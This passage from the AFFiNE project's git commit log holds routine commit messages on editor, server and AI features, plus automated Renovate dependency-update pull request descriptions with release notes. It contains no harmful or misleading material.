      'prop:cells:cell1:text': YText,
      prop:children: []
    },
  }
}
```
2025-01-25 12:57:21 +00:00
forehalo 9c5375ca06 chore: generate repo meta 2025-01-25 15:24:00 +08:00
L-Sun 829980bace refactor(editor): toc dragging with std.dnd (#9883)
Close [BS-2458](https://linear.app/affine-design/issue/BS-2458/toc-dnd重构)

### What Changes
- Refactor toc note card dnd with `std.dnd`
- Extract note display mode change to command `changeNoteDisplayMode`
  - It will reorder notes when the display mode changed from `EdgelessOnly` to page mode visible (a.k.a `DocOnly` or `Both`)
2025-01-24 13:27:17 +00:00
L-Sun 351816b343 fix(editor): prevent errors when moving a block to its own position (#9887) 2025-01-24 12:55:55 +00:00
donteatfriedrice 4b553d153a feat(core): update chat error style (#9885)
[BS-2487](https://linear.app/affine-design/issue/BS-2487/报错样式更新)
2025-01-24 12:39:10 +00:00
zzj3720 5a5779c05a feat(editor): simple table block (#9740)
close: BS-2122, BS-2125, BS-2124, BS-2420, PD-2073, BS-2126, BS-2469, BS-2470, BS-2478, BS-2471
2025-01-24 10:07:57 +00:00
L-Sun 3f4311ff1c chore(editor): add RTL experiement flag for editor (#9882) 2025-01-24 08:23:24 +00:00
pengx17 791484a46c fix(core): some style issues (#9875)
fix AF-2158, AF-2159

It seems the input hack for modal is no longer needed
2025-01-24 05:06:59 +00:00
pengx17 699da97879 chore(electron): speed up electron tests (#9871) 2025-01-24 04:52:26 +00:00
pengx17 6a74107010 fix(core): some storage setting enhancements (#9877)
fix AF-2157, AF-2155, AF-2156
1. add shift selection for grid blob card
2. various style issues
3. unused blobs list will also wait for workspace syncing
2025-01-24 04:35:54 +00:00
donteatfriedrice c0eb735890 fix(core): extract text blocks markdown from doc (#9879)
[AF-2162](https://linear.app/affine-design/issue/AF-2162/ai-提取-markdown-内容不完整)
2025-01-24 04:18:53 +00:00
akumatus 95cf2e047f feat(core): cite source documents in the AI answer (#9863)
Support issue [BS-2424](https://linear.app/affine-design/issue/BS-2424).

### What changed?
- Add relevant document prompt templates.
- Add citation rules in system prompts.
- Change message `params` type to `Record<string, any>`
- Add unit test.

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/ec24e664-039e-4fab-bd26-b3312f011daf.mov">录屏2025-01-23 10.40.38.mov</video>
2025-01-24 04:04:01 +00:00
pengx17 48c26017ae fix(core): database properties in info flickering issue (#9872)
fix af-2123
2025-01-24 03:46:24 +00:00
L-Sun 79fe687b1a fix(editor): render title in page block header using DocDisplayMetaService (#9878)
https://github.com/user-attachments/assets/24490a58-ef66-404a-b9cd-1e94d84c6f58
2025-01-23 12:51:55 +00:00
doodlewind 872a578bf7 refactor(editor): move zod schema with model for non surface blocks (#9876) 2025-01-23 10:57:49 +00:00
L-Sun d6cfbec5c9 chore(editor): update notification message of change display mode of doc (#9874) 2025-01-23 10:40:24 +00:00
donteatfriedrice bdc8dd8d5f feat(editor): add link preview to footnote popup (#9869)
[BS-2399](https://linear.app/affine-design/issue/BS-2399/ai-link-的预览支持:获取-fav-icon-标题)
2025-01-23 09:31:21 +00:00
L-Sun 02bcecde72 refactor(editor): simplify TOC implementation with signal and context (#9873)
### What Changes
1. Used `@preact/signal` and `@lit/context` to simplify repetitive passing of properties of TOC components,
2. Fixed TOC invalid when editor changed, such as click new page button.
2025-01-23 17:01:04 +08:00
L-Sun 1b0758f111 refactor(editor): remove hard code icons from presets (#9857)
Related [BS-2240](https://linear.app/affine-design/issue/BS-2240/清理重复的icon)
2025-01-23 08:34:54 +00:00
forehalo 85434fe309 feat(server): search user in workspace (#9870) 2025-01-23 08:09:17 +00:00
fengmk2 2088b760bf refactor(server): rename tx to db (#9867) 2025-01-23 07:52:45 +00:00
pengx17 6ac6a8d6d6 feat(core): unused blob management in settings (#9795)
fix AF-2144, PD-2064, PD-2065, PD-2066
2025-01-23 07:12:17 +00:00
fengmk2 8021b89944 fix(server): use ClsInterceptor on websocket (#9859)
https://papooch.github.io/nestjs-cls/considerations/compatibility#websockets
2025-01-23 06:54:23 +00:00
fengmk2 d52d03e1cd refactor(server): print magic link on local dev env (#9864) 2025-01-23 03:39:32 +00:00
EYHN 876d4d9c94 fix(android): fix android nbstore provider (#9865) 2025-01-23 03:39:13 +00:00
CatsJuice a16b57db48 feat(core): make sidebar others collapsible (#9862) 2025-01-23 03:17:15 +00:00
renovate ff96a70755 chore: bump up @nestjs/throttler version to v6.4.0 (#9860)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/throttler](https://redirect.github.com/nestjs/throttler) | [`6.3.0` -> `6.4.0`](https://renovatebot.com/diffs/npm/@nestjs%2fthrottler/6.3.0/6.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fthrottler/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fthrottler/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fthrottler/6.3.0/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fthrottler/6.3.0/6.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/throttler (@&#8203;nestjs/throttler)</summary>

### [`v6.4.0`](https://redirect.github.com/nestjs/throttler/blob/HEAD/CHANGELOG.md#640)

[Compare Source](https://redirect.github.com/nestjs/throttler/compare/v6.3.0...v6.4.0)

##### Minor Changes

-   [`5cb4254`](https://redirect.github.com/nestjs/throttler/commit/5cb4254): Update to allow for support for Nest version 11

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-23 02:37:43 +00:00
L-Sun 4839f0f369 refactor(editor): shadowless TOC with valilla extract css (#9856)
Close [BS-2474](https://linear.app/affine-design/issue/BS-2474/使用shadowlesselement重构toc)

This PR refactor TOC with `ShadowlessElement` and  `@valilla-extract/css`
2025-01-22 16:24:31 +00:00
pengx17 088ae0ac0a feat(electron): backup panel (#9738)
fix PD-2071, PD-2059, PD-2069, PD-2068
2025-01-22 22:52:31 +08:00
akumatus 862a9d0bc4 feat: use footnote for perplexity search results (#9851)
Support issue [BS-2475](https://linear.app/affine-design/issue/BS-2475).

![截屏2025-01-22 16.49.25.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/49febcdf-e403-4a2e-ba99-da36df34e08c.png)
2025-01-22 10:54:01 +00:00
forehalo f8a515e89a feat(server): user feature model (#9843)
close CLOUD-108
2025-01-22 10:38:04 +00:00
forehalo 994d758c07 feat(server): support selfhost licenses (#8947) 2025-01-22 10:21:07 +00:00
doodlewind 22e424d7de test(editor): fix font style in preset tests (#9847) 2025-01-22 10:00:58 +00:00
pengx17 08f6a22d44 fix(core): linkpreview and imageproxy url should be prefixed with server url (#9838)
fix AF-2150
2025-01-22 09:31:05 +00:00
github-actions[bot] 795c5c9a8c chore(i18n): sync translations (#9846)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: liuyi <forehalo@gmail.com>
2025-01-22 09:16:53 +00:00
liuyi 8569ac86df fix(server): react email deps (#9850) 2025-01-22 16:50:23 +08:00
CatsJuice f7f1a6ee11 chore(core): update oauth icons (#9796) 2025-01-22 07:49:58 +00:00
forehalo 5828eb53b6 feat(core): support one time password (#9798) 2025-01-22 07:33:10 +00:00
donteatfriedrice bf797c7a0c feat(editor): support footnote adapter (#9844)
[BS-2373](https://linear.app/affine-design/issue/BS-2373/适配-footnote-adapter)
2025-01-22 06:42:35 +00:00
github-actions[bot] a5025cf470 chore(i18n): sync translations (#9842)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: liuyi <forehalo@gmail.com>
2025-01-22 06:41:39 +00:00
Brooooooklyn f5df67501c chore: remove deprecated dependencies (#9837) 2025-01-22 05:36:59 +00:00
pengx17 4c665594d6 fix(editor): ref on click slots should not be global (#9830)
fix AF-2129
2025-01-22 05:20:55 +00:00
pengx17 720a596559 fix(infra): increase eventemitter listener count (#9799) 2025-01-22 12:15:20 +08:00
renovate 22cddb1b87 chore: bump up nestjs (#9839)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs-cls/transactional](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`2.4.4` -> `2.4.5`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional/2.4.4/2.4.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional/2.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional/2.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional/2.4.4/2.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional/2.4.4/2.4.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs-cls/transactional-adapter-prisma](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`1.2.7` -> `1.2.8`](https://renovatebot.com/diffs/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.7/1.2.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.7/1.2.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs-cls%2ftransactional-adapter-prisma/1.2.7/1.2.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (@&#8203;nestjs-cls/transactional)</summary>

### [`v2.4.5`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/%40nestjs-cls/transactional%402.4.5)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/@nestjs-cls/transactional@2.4.4...@nestjs-cls/transactional@2.4.5)

##### Dependencies

-   update all nestjs-related peer deps to latest (v11) ([915e797](https://redirect.github.com/Papooch/nestjs-cls/commits/915e797))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-22 03:56:27 +00:00
renovate 9fb2184a36 chore: bump up nestjs-cls version to v5 (#9840)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`^4.5.0` -> `^5.0.0`](https://renovatebot.com/diffs/npm/nestjs-cls/4.5.0/5.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/4.5.0/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/4.5.0/5.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>Papooch/nestjs-cls (nestjs-cls)</summary>

### [`v5.0.0`](https://redirect.github.com/Papooch/nestjs-cls/releases/tag/nestjs-cls%405.0.0)

[Compare Source](https://redirect.github.com/Papooch/nestjs-cls/compare/nestjs-cls@4.5.0...nestjs-cls@5.0.0)

##### Breaking Changes

-   The default mount point for express middleware has been changed from '\*' to '/' ([4542aba](https://redirect.github.com/Papooch/nestjs-cls/commits/4542aba))

##### Dependencies

-   update all nestjs-related peer deps to latest (v11) ([915e797](https://redirect.github.com/Papooch/nestjs-cls/commits/915e797))

##### Features

-   **core**: support NestJS 11 ([4542aba](https://redirect.github.com/Papooch/nestjs-cls/commits/4542aba))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-22 03:40:24 +00:00
pengx17 defb0de4dd feat(core): reorg workspace settings (#9718)
fix AF-2118
2025-01-22 03:11:27 +00:00
darkskygit 83ed215f4a feat(server): new email template (#9528)
use `yarn af server dev:mail` to preview all mail template
fix CLOUD-93
2025-01-22 02:55:25 +00:00
Xun Sun 2db9cc3922 fix(core): set state isLoading to false after email changing is confirmed (#9824) 2025-01-22 09:47:23 +08:00
L-Sun 29995e498a feat(editor): add start-with-ai button for empty doc (#9836)
Close [BS-2391](https://linear.app/affine-design/issue/BS-2391/bs-ai-toolbar-空状态下添加-actions-列表)

https://github.com/user-attachments/assets/cbded517-2d3d-4a75-b144-644e2b03f68a
2025-01-21 16:00:49 +00:00
pengx17 d4aeac5d35 fix(electron): split view reorder shaking (#9828)
fix AF-2097
2025-01-21 15:02:22 +00:00
renovate b715d2648e chore: bump up shiki version to v2 (#9793)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`^1.14.1` -> `^2.0.0`](https://renovatebot.com/diffs/npm/shiki/1.29.1/2.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.29.1/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.29.1/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`^1.12.0` -> `^2.0.0`](https://renovatebot.com/diffs/npm/shiki/1.29.1/2.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.29.1/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.29.1/2.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v2.0.3`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.3)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.2...v2.0.3)

#####    🐞 Bug Fixes

-   **core**: Soft require `engine` options  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(10a6f)</samp>](https://redirect.github.com/shikijs/shiki/commit/10a6f781)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.2...v2.0.3)

### [`v2.0.2`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.2)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.1...v2.0.2)

#####    🐞 Bug Fixes

-   Mark `engine` required in `createHighlighterCore`  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(1212f)</samp>](https://redirect.github.com/shikijs/shiki/commit/1212f473)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.1...v2.0.2)

### [`v2.0.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.1)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v2.0.0...v2.0.1)

#####    🚀 Features

-   Improve warning messages  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(0f27a)</samp>](https://redirect.github.com/shikijs/shiki/commit/0f27a20d)

#####    🐞 Bug Fixes

-   Warn about missing deprecation  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(708e3)</samp>](https://redirect.github.com/shikijs/shiki/commit/708e3f24)
-   **colorized-brackets**: Use object style `htmlStyle`  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(eab5b)</samp>](https://redirect.github.com/shikijs/shiki/commit/eab5bd18)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v2.0.0...v2.0.1)

### [`v2.0.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v2.0.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.29.1...v2.0.0)

##### Read the announcement: [Shiki v2](https://shiki.style/blog/v2)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.29.1...v2.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 14:46:19 +00:00
renovate 782d3afddc chore: bump up capacitor monorepo to v7 (major) (#9809)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@capacitor/android](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`^6.2.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fandroid/6.2.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fandroid/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fandroid/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fandroid/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fandroid/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capacitor/cli](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`^6.2.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fcli/6.2.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fcli/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fcli/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fcli/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fcli/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capacitor/core](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`^6.2.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fcore/6.2.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fcore/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fcore/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fcore/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fcore/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@capacitor/ios](https://capacitorjs.com) ([source](https://redirect.github.com/ionic-team/capacitor)) | [`^6.2.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/@capacitor%2fios/6.2.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capacitor%2fios/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capacitor%2fios/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capacitor%2fios/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capacitor%2fios/6.2.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>ionic-team/capacitor (@&#8203;capacitor/android)</summary>

### [`v7.0.0`](https://redirect.github.com/ionic-team/capacitor/blob/HEAD/CHANGELOG.md#700-2025-01-20)

[Compare Source](https://redirect.github.com/ionic-team/capacitor/compare/6.2.0...7.0.0)

**Note:** Version bump only for package capacitor

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-21 14:29:49 +00:00
L-Sun 16d4430ec9 test(editor): move tests of toc to affine (#9833) 2025-01-21 13:34:59 +00:00
pengx17 24fce7a708 fix(core): peek view backgroud (#9825)
fix bs-2416
2025-01-21 11:37:15 +00:00
akumatus a3164b4ccf feat(core): support ai doc search panel (#9831)
Support issue [BS-2351](https://linear.app/affine-design/issue/BS-2351) and [BS-2461](https://linear.app/affine-design/issue/BS-2461).

## What changed?
- Add `chat-panel-add-popover` component.
- Refactor part of `AtMenuConfigService` into `DocSearchMenuService`.
- Add signal `content` property to `DocChip` interface for markdown content update.

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/ff1d69b3-edd6-4d33-a01d-8b16e5192af7.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/ff1d69b3-edd6-4d33-a01d-8b16e5192af7.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/ff1d69b3-edd6-4d33-a01d-8b16e5192af7.mov">录屏2025-01-21 18.46.29.mov</video>
2025-01-21 11:20:19 +00:00
CatsJuice ba508ffd6b chore(core): replace outlined template icon (#9784) 2025-01-21 11:03:11 +00:00
pengx17 2d09c7fe0c chore(electron): increase retry times (#9814) 2025-01-21 10:47:22 +00:00
renovate 0e8dd950a4 chore: bump up check-password-strength version to v3 (#9827)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [check-password-strength](https://redirect.github.com/deanilvincent/check-password-strength) | [`^2.0.10` -> `^3.0.0`](https://renovatebot.com/diffs/npm/check-password-strength/2.0.10/3.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/check-password-strength/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/check-password-strength/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/check-password-strength/2.0.10/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/check-password-strength/2.0.10/3.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>deanilvincent/check-password-strength (check-password-strength)</summary>

### [`v3.0.0`](https://redirect.github.com/deanilvincent/check-password-strength/releases/tag/v3.0.0)

[Compare Source](https://redirect.github.com/deanilvincent/check-password-strength/compare/v2.0.10...v3.0.0)

#### What's Changed

-   fix path for types by [@&#8203;capaj](https://redirect.github.com/capaj) in [https://github.com/deanilvincent/check-password-strength/pull/75](https://redirect.github.com/deanilvincent/check-password-strength/pull/75)
-   Fix main path by [@&#8203;cmorford](https://redirect.github.com/cmorford) in [https://github.com/deanilvincent/check-password-strength/pull/76](https://redirect.github.com/deanilvincent/check-password-strength/pull/76)
-   🏗️  updated code analysis from v1 to v4, 🦯  added node.yml,    remove .travis.yml by [@&#8203;deanilvincent](https://redirect.github.com/deanilvincent) in [https://github.com/deanilvincent/check-password-strength/pull/82](https://redirect.github.com/deanilvincent/check-password-strength/pull/82)
-   V3 - allow all symbols by default, set the default min length to 12 instead of 10, fix license filename (fix [#&#8203;78](https://redirect.github.com/deanilvincent/check-password-strength/issues/78)) by [@&#8203;Ennoriel](https://redirect.github.com/Ennoriel) in [https://github.com/deanilvincent/check-password-strength/pull/81](https://redirect.github.com/deanilvincent/check-password-strength/pull/81)

#### New Contributors

